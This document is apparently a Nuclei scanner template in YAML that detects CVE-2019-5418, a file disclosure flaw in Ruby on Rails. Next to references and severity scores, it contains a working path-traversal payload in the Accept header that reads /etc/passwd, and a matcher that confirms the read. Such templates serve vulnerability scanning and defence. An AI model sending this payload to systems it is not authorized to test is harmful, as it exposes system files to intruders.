51 lines
1.7 KiB
YAML
51 lines
1.7 KiB
YAML
id: CVE-2019-5418
|
|
|
|
info:
|
|
name: Rails File Content Disclosure
|
|
author: omarkurt
|
|
severity: high
|
|
description: Rails <5.2.2.1, <5.1.6.2, <5.0.7.2, <4.2.11.1 and v3 are susceptible to a file content disclosure vulnerability because specially crafted accept headers can cause contents of arbitrary files on the target system's file system to be exposed.
|
|
remediation: |
|
|
Apply the patch provided by the Rails team or upgrade to a version that includes the fix.
|
|
reference:
|
|
- https://github.com/omarkurt/CVE-2019-5418
|
|
- https://weblog.rubyonrails.org/2019/3/13/Rails-4-2-5-1-5-1-6-2-have-been-released/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2019-5418
|
|
- https://www.exploit-db.com/exploits/46585/
|
|
- http://lists.opensuse.org/opensuse-security-announce/2019-05/msg00011.html
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 7.5
|
|
cve-id: CVE-2019-5418
|
|
cwe-id: CWE-22,NVD-CWE-noinfo
|
|
epss-score: 0.97429
|
|
epss-percentile: 0.99917
|
|
cpe: cpe:2.3:a:rubyonrails:rails:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: rubyonrails
|
|
product: rails
|
|
tags: cve,cve2019,rails,lfi,disclosure,edb
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}"
|
|
|
|
headers:
|
|
Accept: ../../../../../../../../etc/passwd{{
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
part: body
|
|
regex:
|
|
- "root:.*:0:0:"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
- 500
|
|
|
|
# digest: 4a0a0047304502203e496a6a716f413dcff046acae925ce00d3c4bb5f6c9ca29800b150aa67d77fa0221009f2422b92bd741fd82bf1dc7a6e6e0dc835b024074b0e4a2aaa4bf8e13a09801:922c64590222798bb761d5b6d8e72950
|